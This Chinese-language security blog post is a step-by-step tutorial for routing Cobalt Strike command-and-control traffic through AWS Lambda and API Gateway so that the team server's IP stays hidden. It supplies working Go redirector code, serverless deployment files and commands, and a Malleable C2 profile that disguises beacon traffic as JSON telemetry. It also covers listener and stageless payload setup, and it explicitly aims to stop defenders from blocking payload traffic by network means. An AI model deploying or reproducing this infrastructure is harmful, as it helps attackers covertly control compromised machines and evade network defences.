简介
本文主要介绍借助AWS Lambda服务来实现Cobalt Strike数据的转发。因AWS Lambda是AWS官方所提供的服务,所以借助其转发流量具有加密传输、高信誉IP/域名的特点。
相关名词
AWS Lambda:由AWS提供的云函数服务,可在无需购买和管理服务器的情况下运行代码
API Gateway:由AWS提供的API接口服务,可以结合Lambda,实现通过API调用函数
serverless:本文中serverless指的是Serverless Framework,一个可以创建和部署云函数的框架,支持多个服务商的云函数监控、调试和部署等功能
工作原理
[来源] https://blog.xpnsec.com/
Lambda中运行的函数是一个简单的http代理,通过API Gateway暴露在公网。所有对API Gateway的访问请求经过Redirector Function的处理都会转发到team server。靶机只与API Gateway交互,从而隐藏team server的IP
环境和工具
-
AWS账户一枚:开启Lambda 和 API Gateway 两个服务
-
Ubuntu server:用于运行Serverless Framework,编译和部署serverless application到AWS Lambda
Notice: Serverless在 Linux/Mac OS/Windows 均可安装,详见https://serverless.com/framework/docs/getting-started/
-
公网Cobalt Strike服务器:流量需要经公网转发,需要公网服务器。如果不具备条件请考虑ngrok、花生壳、frp等内网映射工具
准备工作
-
在Ubuntu server上安装Serverless Framework
-
登陆AWS控制台,生成一对API Key & Secret,参考文档 AWS - Credentials
-
在serverless中配置API Key & Secret
serverless config credentials --provider aws --key 1234 --secret 5678
-
在Ubuntu server中安装golang编译环境,参考golang官方文档https://golang.org/doc/install#install
-
安装golang AWS Lambda 库
go get github.com/aws/aws-lambda-go/lambda
创建相关文件
创建如下目录结构
aws_redictor/
|-- Makefile
|-- redictor # 函数文件夹
| |-- main.go # 主程序代码
|-- serverless.yml # 部署配置文件
Makefile
.PHONY: build clean deploy
build:
env GOOS=linux go build -ldflags="-s -w" -o bin/redirector redirector/main.go
clean:
rm -rf ./bin
deploy: clean build
sls deploy --verbose
main.go
package main
import (
"crypto/tls"
"encoding/base64"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"strings"
"github.com/aws/aws-lambda-go/events"
"github.com/aws/aws-lambda-go/lambda"
)
type Response events.APIGatewayProxyResponse
func Handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
var bodyDecoded []byte
var body []byte
var err error
var outboundHeaders map[string]string
teamserver := os.Getenv("TEAMSERVER")
client := http.Client{}
// Set to allow invalid HTTPS certs on the back-end server
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
// Build our request URL as received to pass onto CS
url, err := url.Parse(teamserver + "/" + request.RequestContext.Stage + request.Path)
// Extract any provided query parameters
if request.QueryStringParameters != nil {
q := url.Query()
for key, value := range request.QueryStringParameters {
q.Set(key, value)
}
url.RawQuery = q.Encode()
}
// Handle potential base64 encoding of body
if request.IsBase64Encoded {
bodyDecoded, err = base64.StdEncoding.DecodeString(request.Body)
if err != nil {
log.Fatalf("Error base64 decoding AWS request body: %v", err)
}
} else {
bodyDecoded = []byte(request.Body)
}
// Send the request to our Team Server
req, err := http.NewRequest(request.HTTPMethod, url.String(), strings.NewReader(string(bodyDecoded)))
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// Add our inbound headers to the request
for key, value := range request.Headers {
req.Header.Set(key, value)
}
// Forward the request to our TeamServer
resp, err := client.Do(req)
if err != nil {
log.Fatalf("Error forwarding request to TeamServer: %v", err)
}
// Parse the TS response headers
outboundHeaders = map[string]string{}
for key, value := range resp.Header {
outboundHeaders[key] = value[0]
}
// Store the TS response body
body, err = ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatalf("Error receiving request from TeamServer")
}
// Forward the response onto beacon
return events.APIGatewayProxyResponse{StatusCode: resp.StatusCode, Body: string(body), Headers: outboundHeaders}, nil
}
func main() {
lambda.Start(Handler)
}
serverless.yml
service: lambda-front
frameworkVersion: ">=1.28.0 <2.0.0"
provider:
name: aws
runtime: go1.x
stage: api
region: us-west-1 # 可用区代码
environment:
TEAMSERVER: ${opt:teamserver}
package:
exclude:
- ./**
include:
- ./bin/**
functions:
redirector:
handler: bin/redirector
events:
- http:
path: /{all+} # 接受所有请求url
method: any # 接受所有协议
编译&部署
准备好以上文件后我们可以进行相关部署工作
cd ~/aws_redictor
Make
sls deploy --teamserver https://<your-domain.com> # 此处一定要加https/http,否则报错
执行上述命令需要约2分钟,执行完毕后,将会得到如下返回
此时需要记下返回的url,在之后的创建listener时将会使用
编写Cobalt Strike Malleable Profile
我们需要修改交互方式以适应redirector代码的要求
lambda.profile
http-config {
set trust_x_forwarded_for "true";
}
http-get {
set uri "/api/fetch";
client {
metadata {
base64url;
netbios;
base64url;
parameter "token";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
output {
base64;
prepend "{"version":"2","count":"1","data":"";
append ""}";
print;
}
}
}
http-post {
set uri "/api/telemetry";
set verb "POST";
client {
parameter "action" "GetExtensibilityContext";
header "Content-Type" "application/json; charset=utf-8";
header "Pragma" "no-cache";
id {
parameter "token";
}
output {
mask;
base64;
prepend "{"version":"2","report":"";
append ""}";
print;
}
}
server {
header "api-supported-versions" "2";
header "Content-Type" "application/json; charset=utf-8";
header "Cache-Control" "no-cache, no-store, max-age=0, must-revalidate";
header "Pragma" "no-cache";
output {
base64url;
prepend "{"version":"2","count":"1","data":"";
append ""}";
print;
}
}
}
// 如果你配置了https证书,那么你也需要填入以下内容,请自行替换文件名和密码。有关如何部署一个有效证书,请查阅我们之前的文章《隐藏Cobalt Strike C2 server——基本篇》中的CDN部分
https-certificate {
set keystore "<domain>.store";
set password "123456";
}
将profile应用于team server
./teamserver <ip_address> <password> </path/to/lambda.profile>
测试访问
启动team server后,直接访问http://< team server ip>/api/fetch会有如下json数据返回
{"version": "2","count": "1","data": ""}
说明team server工作正常
此时访问 https://< API ID >.execute-api.us-east-1.amazonaws.com/api/fetch 有同样的内容返回,说明lambda和API Gateway工作正常。如果工作异常,可以在https://console.aws.amazon.com/cloudwatch/home?region=us-east-1#logs中查找相关日志进行分析
创建listener&生成payload
如图所示创建listener,填入前面返回的地址
生成一个stageless payload
成功上线
两点提示
-
为什么一定要用stageless payload:stage payload在上线时会首先请求文件名为四个随机字母的文件来加载profile中的相关配置,并且是直接与listen中所填的https host地址进行通信。在redirector代码中并没有对此进行转发,payload请求不到配置文件会直接闪退,如下图所示
此外,Cobalt Strike作者在发布4.0版本后也表示以后会尽量使用stageless payload,因为相比之下stage payload更容易被识别
-
即便没有在team server配置证书也要选择https beacon:因为与API Gateway交互数据使用的是https
总结
使用AWS Lambda + API Gateway 组合进行流量转发,域名是*.execute-api.us-east-1.amazonaws.com,IP段为AWS所属IP,交互过程https加密,有效防止了从网络这一途径阻断payload传输信息
参考资料
https://blog.xpnsec.com/aws-lambda-redirector/
本文主要文件均来源于上述文章,讲述的原理十分详细,但原作者所提供相关代码有bug,并且在有些地方未描述清楚,笔者对相关代码进行了修复,并补充了一些内容。
欢迎关注【宽字节安全】公众号,获取更多好玩的安全知识
本文始发于微信公众号(宽字节安全):【中级篇】使用AWS Lambda转发 Cobalt Strike 流量
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论